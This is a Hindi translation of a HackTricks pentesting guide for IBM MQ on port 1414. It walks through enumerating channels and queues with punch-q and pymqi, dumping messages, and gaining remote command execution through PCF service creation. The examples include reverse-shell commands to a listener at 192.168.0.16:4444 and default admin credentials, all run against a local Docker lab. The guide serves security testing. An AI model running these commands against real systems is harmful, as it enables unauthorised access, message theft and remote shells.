hacktricks/network-services-pentesting/1414-pentesting-ibmmq.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

27 KiB
Raw Blame History

1414 - IBM MQ का पेंटेस्टिंग

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

मूलभूत जानकारी

IBM MQ एक IBM प्रौद्योगिकी है जो संदेश कतारों का प्रबंधन करने के लिए है। अन्य संदेश ब्रोकर प्रौद्योगिकियों की तरह, यह उत्पादकों और उपभोक्ताओं के बीच सूचना प्राप्त, संग्रहीत, प्रसंस्कृत और वर्गीकरण करने के लिए समर्पित है।

डिफ़ॉल्ट रूप से, यह IBM MQ TCP पोर्ट 1414 को उजागर करता है। कभी-कभी, HTTP REST API पोर्ट 9443 पर उजागर हो सकता है। मीट्रिक्स (Prometheus) भी TCP पोर्ट 9157 से पहुंची जा सकती है।

IBM MQ TCP पोर्ट 1414 का उपयोग संदेश, कतार, चैनल, ... को नियंत्रित करने के लिए ही नहीं किया जा सकता है, बल्कि इंस्टेंस को नियंत्रित करने के लिए भी किया जा सकता है।

IBM द्वारा https://www.ibm.com/docs/en/ibm-mq पर एक बड़ी तकनीकी प्रलेखन उपलब्ध है।

उपकरण

सुझाए गए उपकरण के लिए आसान शोध के लिए punch-q का उपयोग करें, डॉकर का उपयोग करें। यह उपकरण सक्रिय रूप से Python पुस्तकालय pymqi का उपयोग करता है।

एक अधिक मैन्युअल दृष्टिकोण के लिए, Python पुस्तकालय pymqi का उपयोग करें। IBM MQ आवश्यकताएं की आवश्यकता होती है।

pymqi का स्थापना करना

IBM MQ आवश्यकताएं को स्थापित और लोड किया जाना चाहिए:

  1. https://login.ibm.com/ पर एक खाता (IBMid) बनाएं।
  2. https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc से IBM MQ पुस्तकालय डाउनलोड करें। लिनक्स x86_64 के लिए यह 9.0.0.4-IBM-MQC-LinuxX64.tar.gz है।
  3. डीकंप्रेस करें (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz)।
  4. लाइसेंस की शर्तों को स्वीकार करने के लिए sudo ./mqlicense.sh चलाएं।

यदि आप Kali Linux के तहत हैं, तो mqlicense.sh फ़ाइल में बदलाव करें: निम्नलिखित पंक्तियों को हटाएं/टिप्पणी करें (105-110 लाइनों के बीच):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
 then
   echo "ERROR: This package is incompatible with this system"
   echo "       This package was built for ${BUILD_PLATFORM}"
   exit 1
fi
  1. इन पैकेजों को स्थापित करें:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. फिर, LD में .so फ़ाइलों को अस्थायी रूप से जोड़ें: export LD_LIBRARY_PATH=/opt/mqm/lib64, पहले इन आवश्यकताओं का उपयोग करने वाले अन्य उपकरणों को चलाने से पहले।

फिर, आप प्रोजेक्ट pymqi क्लोन कर सकते हैं: इसमें दिलचस्प कोड स्निपेट, स्थिरांक, ... होते हैं। या आप सीधे पुस्तकालय को इंस्टॉल कर सकते हैं: pip install pymqi.

punch-q का उपयोग करें

डॉकर के साथ

बस इस्तेमाल करें: sudo docker run --rm -ti leonjza/punch-q.

डॉकर के बिना

प्रोजेक्ट punch-q क्लोन करें और इंस्टॉलेशन के लिए readme का पालन करें (pip install -r requirements.txt && python3 setup.py install).

इसके बाद, punch-q कमांड के साथ इस्तेमाल किया जा सकता है।

गणना

आप punch-q या pymqi के साथ कतार प्रबंधक का नाम, उपयोगकर्ता, चैनल और कतारें गणना करने की कोशिश कर सकते हैं।

कतार प्रबंधक

कभी-कभी, कतार प्रबंधक के नाम को प्राप्त करने के खिलाफ कोई सुरक्षा नहीं होती है:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

चैनल

punch-q एक आंतरिक (संशोधन योग्य) वर्डलिस्ट का उपयोग करके मौजूदा चैनल्स को खोजने के लिए उपयोग होता है। उपयोग का उदाहरण:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

ऐसा होता है कि कुछ IBM MQ इंस्टेंस अनुपयोगी MQ अनुरोधों को स्वीकार करते हैं, इसलिए --username / --password की आवश्यकता नहीं होती है। बेशक, पहुंच अधिकार भी भिन्न हो सकते हैं।

जैसे ही हमें एक चैनल नाम मिलता है (यहां: DEV.ADMIN.SVRCONN), हम सभी अन्य चैनलों की गणना कर सकते हैं।

गणना मूल रूप से इस कोड स्निपेट code/examples/dis_channels.py के साथ pymqi से की जा सकती है:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

... लेकिन punch-q भी उस हिस्से को सम्मिलित करता है (अधिक जानकारी के साथ!). इसे इस तरीके से लॉन्च किया जा सकता है:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

कतारें

pymqi (dis_queues.py) के साथ एक कोड स्निपेट है, लेकिन punch-q को कतारों के बारे में अधिक जानकारी प्राप्त करने की अनुमति है:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

अक्षम करें

संदेश डंप करें

आप विशेषता(ओं) को लक्षित कर संदेशों को खोजने / डंप करने के लिए उपयोग कर सकते हैं (अविनाशी आपरेशन). उदाहरण:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

सभी पहचानी गई कतारों पर दोहराने में हिचकिचाहट न करें।

कोड निष्पादन

जारी रखने से पहले कुछ विवरण: IBM MQ को कई तरीकों से नियंत्रित किया जा सकता है: MQSC, PCF, नियंत्रण कमांड। कुछ सामान्य सूचियाँ IBM MQ दस्तावेज़ीकरण में मिल सकती हैं। PCF (प्रोग्रामयोग्य कमांड प्रारूप) उस पर ध्यान केंद्रित है जिसके माध्यम से हम इंस्टेंस के साथ दूरस्थता से इंटरैक्ट करते हैं। punch-q और इसके अतिरिक्त pymqi PCF इंटरैक्शन पर आधारित हैं।

आप PCF कमांडों की सूची पा सकते हैं:

एक दिलचस्प कमांड MQCMD_CREATE_SERVICE है और इसकी दस्तावेज़ीकरण यहां उपलब्ध है। इसे एक StartCommand के रूप में एर्ग्यूमेंट लेता है जो इंस्टेंस पर स्थानीय कार्यक्रम की ओर पहुंच करता है (उदाहरण: /bin/sh)।

दस्तावेज़ों में इस कमांड की एक चेतावनी भी है: "ध्यान दें: यह कमांड एक उपयोगकर्ता को mqm अधिकार के साथ एक अनियमित कमांड चलाने की अनुमति देता है। इस कमांड का उपयोग करने के लिए अधिकार प्रदान किए जाने पर, एक दुष्ट या लापरवाह उपयोगकर्ता आपके सिस्टम या डेटा को क्षति पहुंचा सकता है, उदाहरण के लिए, महत्वपूर्ण फ़ाइलें हटा कर।"

नोट: हमेशा IBM MQ दस्तावेज़ीकरण (प्रशासन संदर्भ) के अनुसार, सेवा निर्माण (DEFINE SERVICE) के लिए समकक्ष MQSC कमांड चलाने के लिए /admin/action/qmgr/{qmgrName}/mqsc पर एक HTTP एंडपॉइंट भी है। यह पहले यहां शामिल नहीं है।

दूरस्थ कार्यक्रम निष्पादन के लिए PCF के साथ सेवा निर्माण / हटाना punch-q द्वारा किया जा सकता है:

उदाहरण 1

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

IBM MQ के लॉग में, आप पढ़ सकते हैं कि कमांड सफलतापूर्वक चलाया गया है:

2023-10-10T19:13:01.713Z AMQ5030I: कमांड '808544aa7fc94c48' शुरू हो गया है। ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

आप मशीन पर मौजूदा प्रोग्रामों की गणना भी कर सकते हैं (यहां /bin/doesnotexist ... मौजूद नहीं है):

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

ध्यान दें कि कार्यक्रम लॉन्च असिंक्रोन होता है। इसलिए आपको एक दूसरे आइटम की आवश्यकता होती है ताकि आप एक्सप्लॉइट का लाभ उठा सकें (रिवर्स शेल के लिए सुनने वाला, विभिन्न सेवा पर फ़ाइल निर्माण, नेटवर्क के माध्यम से डेटा निकालना...)

उदाहरण 2

आसान रिवर्स शेल के लिए, punch-q दो रिवर्स शेल पेलोड भी प्रस्तावित करता है:

  • एक बैश के साथ
  • एक पर्ल के साथ

बेशक आप execute कमांड के साथ एक कस्टम पेलोड बना सकते हैं।

बैश के लिए:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

इसके लिए perl:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

कस्टम PCF

आप IBM MQ दस्तावेज़ीकरण में खोज कर सीधे pymqi पायथन पुस्तकालय का उपयोग कर सकते हैं विशेष PCF कमांड का परीक्षण करने के लिए जो punch-q में अमल में नहीं आया है।

उदाहरण:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

यदि आप स्थिर नामों को नहीं ढूंढ पा रहे हैं, तो आप IBM MQ दस्तावेज़ीकरण का संदर्भ ले सकते हैं।

उदाहरण के लिए MQCMD_REFRESH_CLUSTER (दशमलव = 73)। इसे MQCA_CLUSTER_NAME (दशमलव = 2029) पैरामीटर की आवश्यकता होती है जो * हो सकता है (दस्तावेज़ीकरण: ):

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("त्रुटि")
else:
    print(response)

qmgr.disconnect()

परीक्षण पर्यावरण

यदि आप IBM MQ का व्यवहार और उत्पीड़न का परीक्षण करना चाहते हैं, तो आप डॉकर पर आधारित स्थानीय पर्यावरण सेटअप कर सकते हैं:

  1. ibm.com और cloud.ibm.com पर खाता होना।
  2. निम्नलिखित के साथ एक कंटेनरीकृत IBM MQ बनाएँ:
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

डिफ़ॉल्ट रूप से, प्रमाणीकरण सक्षम होता है, उपयोगकर्ता नाम admin है और पासवर्ड passw0rd है (पर्यावरण चर MQ_ADMIN_PASSWORD). यहां, क्यू मैनेजर नाम MYQUEUEMGR (चर MQ_QMGR_NAME) पर सेट किया गया है।

आपको IBM MQ को चालू और इसके पोर्ट उजागर करने की आवश्यकता होगी:

 sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

IBM MQ डॉकर इमेज की पुरानी संस्करण यहाँ मिलेंगे: https://hub.docker.com/r/ibmcom/mq/.

संदर्भ